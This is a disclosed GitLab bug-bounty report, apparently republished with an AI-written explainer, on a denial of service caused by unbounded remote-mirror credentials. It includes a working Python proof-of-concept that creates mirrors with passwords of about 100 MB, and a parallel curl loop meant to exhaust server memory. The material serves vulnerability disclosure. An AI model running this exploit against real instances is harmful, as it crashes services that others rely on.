Memory Exhaustion via Unbounded Remote Mirror Credentials
The remote mirror endpoint accepts credentials of unlimited size, allowing an attacker to create mirrors with very large passwords. Repeatedly creating such mirrors can exhaust memory and crash the GitLab instance.
GitLab
Originally disclosed on GitLab
- Fixed in 4 months
- Disclosed after 4 months
โ ๏ธ **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/engineer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.**
**[HackerOne report #3062769](https://hackerone.com/reports/3062769)** by `pwnie` on 2025-03-27, assigned to @katwu:
[Report](#report) | [How To Reproduce](#how-to-reproduce)
## Report
#### Summary
The remote mirror endpoint accepts unbounded credentials. An attacker can inflate these credentials with arbitrary large random data, triggering memory exhaustion and crashing the GitLab instance.
#### Steps to Reproduce
1. **Deploy the Provided Script**
Save the script below as `add_mirror.py`:
```python
#!/usr/bin/env python3
import argparse
import requests
import sys
import json
import urllib.parse
import os
import base64
import re
import warnings
# Suppress insecure request warnings
warnings.filterwarnings("ignore", category=UserWarning, module="urllib3")
def generate_password(size_mb):
"""Generate a strong random password from cryptographically secure random data"""
try:
# Convert MB to integer bytes with minimum 1 byte
size_bytes = max(1, int(float(size_mb) * 1024 * 1024))
random_data = os.urandom(size_bytes)
# Encode to Base64 and remove non-alphanumeric characters
b64_data = base64.b64encode(random_data).decode('utf-8')
password = re.sub(r'[^a-zA-Z0-9]', '', b64_data)
if not password:
raise ValueError("Password generation failed - empty result")
return password
except (ValueError, TypeError) as e:
print(f"Error generating password: {e}")
sys.exit(1)
def add_remote_mirror():
parser = argparse.ArgumentParser(
description='Add a GitLab remote mirror with auto-generated strong password',
formatter_class=argparse.ArgumentDefaultsHelpFormatter
)
parser.add_argument('--host', required=True,
help='GitLab host URL (e.g., https://example.com)')
parser.add_argument('--token', required=True,
help='GitLab private access token with api scope')
parser.add_argument('--project-id', required=True,
help='Project ID or URL-encoded path')
parser.add_argument('--mirror-url', required=True,
help='Base URL of target repository (without credentials)')
parser.add_argument('--username', required=True,
help='Username for the remote repository')
parser.add_argument('--password-size-mb', type=float, default=0.5,
help='Size of random data in MB to generate password (min 0.000001)')
parser.add_argument('--enabled', action='store_true',
help='Enable the mirror immediately')
parser.add_argument('--keep-divergent-refs', action='store_true',
help='Keep divergent references')
parser.add_argument('--only-protected-branches', action='store_true',
help='Mirror only protected branches')
parser.add_argument('--mirror-branch-regex',
help='Regex to selectively mirror branches (Premium/Ultimate only)')
args = parser.parse_args()
# Generate strong password
password = generate_password(args.password_size_mb)
# Construct authenticated URL
parsed_url = urllib.parse.urlparse(args.mirror_url)
netloc = f"{urllib.parse.quote(args.username)}:{urllib.parse.quote(password)}@{parsed_url.netloc}"
auth_url = urllib.parse.urlunparse(parsed_url._replace(netloc=netloc))
# Prepare API request
api_url = f"{args.host.rstrip('/')}/api/v4/projects/{urllib.parse.quote(str(args.project_id))}/remote_mirrors"
headers = {
'PRIVATE-TOKEN': args.token,
'Content-Type': 'application/json'
}
payload = {
'url': auth_url,
'enabled': args.enabled,
'keep_divergent_refs': args.keep_divergent_refs,
'only_protected_branches': args.only_protected_branches,
'auth_method': 'password'
}
if args.mirror_branch_regex:
payload['mirror_branch_regex'] = args.mirror_branch_regex
try:
# Execute API request
response = requests.post(api_url, headers=headers, json=payload, timeout=30)
response.raise_for_status()
# Output results
print("๏ฟฝ
Remote mirror created successfully")
print(f"๐ Generated password length: {len(password)} characters")
print(f"๐ First 50 chars: {password[:50]}...")
print("\nMirror configuration:")
print(json.dumps(response.json(), indent=2))
return 0
except requests.exceptions.RequestException as e:
print(f"โ Failed to create mirror: {e}")
if hasattr(e, 'response') and e.response:
print(f"HTTP {e.response.status_code}: {e.response.text}")
return 1
if __name__ == '__main__':
sys.exit(add_remote_mirror())
```
2. **Initial Execution**
Run the script using this sample command:
```bash
python3 add_mirror.py --host https://example.com --project-id 67171232 --mirror-url https://example.com --token 'glpat-' --username pwned --password-size 100
```
3. **Repeated Runs**
Execute the script 5โ10 times with the large `--password-size-mb` value (e.g., 100 MB) to generate oversized credentials.
4. **Trigger the DoS**
Execute the following command to initiate the Denial-of-Service attack:
```bash
seq 1 100 | xargs -I{} -P20 curl --header "PRIVATE-TOKEN: glpat" "https://example.com/api/v4/projects/ID/remote_mirrors"
```
5. **Test Environment Notice**
**Important:** Please test this on your own GitLab instance in a controlled environment. Do not run these steps on a production system.
#### Impact
This vulnerability allows an attacker to launch a Denial-of-Service (DoS) attack by repeatedly creating remote mirror entries with excessively large credentials. This causes memory exhaustion, rendering the GitLab service unresponsive or crashing the instance, and impacting overall availability.
#### Impact
This vulnerability allows an attacker to launch a Denial-of-Service (DoS) attack by repeatedly creating remote mirror entries with excessively large credentials. This causes memory exhaustion, rendering the GitLab service unresponsive or crashing the instance, and impacting overall availability.
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issuesNot written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the remote mirror API does not enforce a maximum length on the credentials field, allowing arbitrarily large data to be stored and processed.
Impact
An attacker could cause memory exhaustion, making the GitLab service unresponsive or crashing the instance, impacting availability.
What the attacker needed
A GitLab account with API access; ability to create remote mirrors
How it was found
- Deploy the provided script that creates a remote mirror with a large random password.
- Run the script with a large password size (e.g., 100 MB) to create an oversized credential.
- Repeat the script execution 5โ10 times to generate multiple oversized credentials.
- Send many concurrent requests to the remote mirrors API endpoint to trigger memory exhaustion.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A remote mirror is a feature that copies a repository from another location. The server stores the username and password for that location. Here, the server did not limit how long the password could be, so an attacker could send a huge password many times, using up all the server's memory and making it crash.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.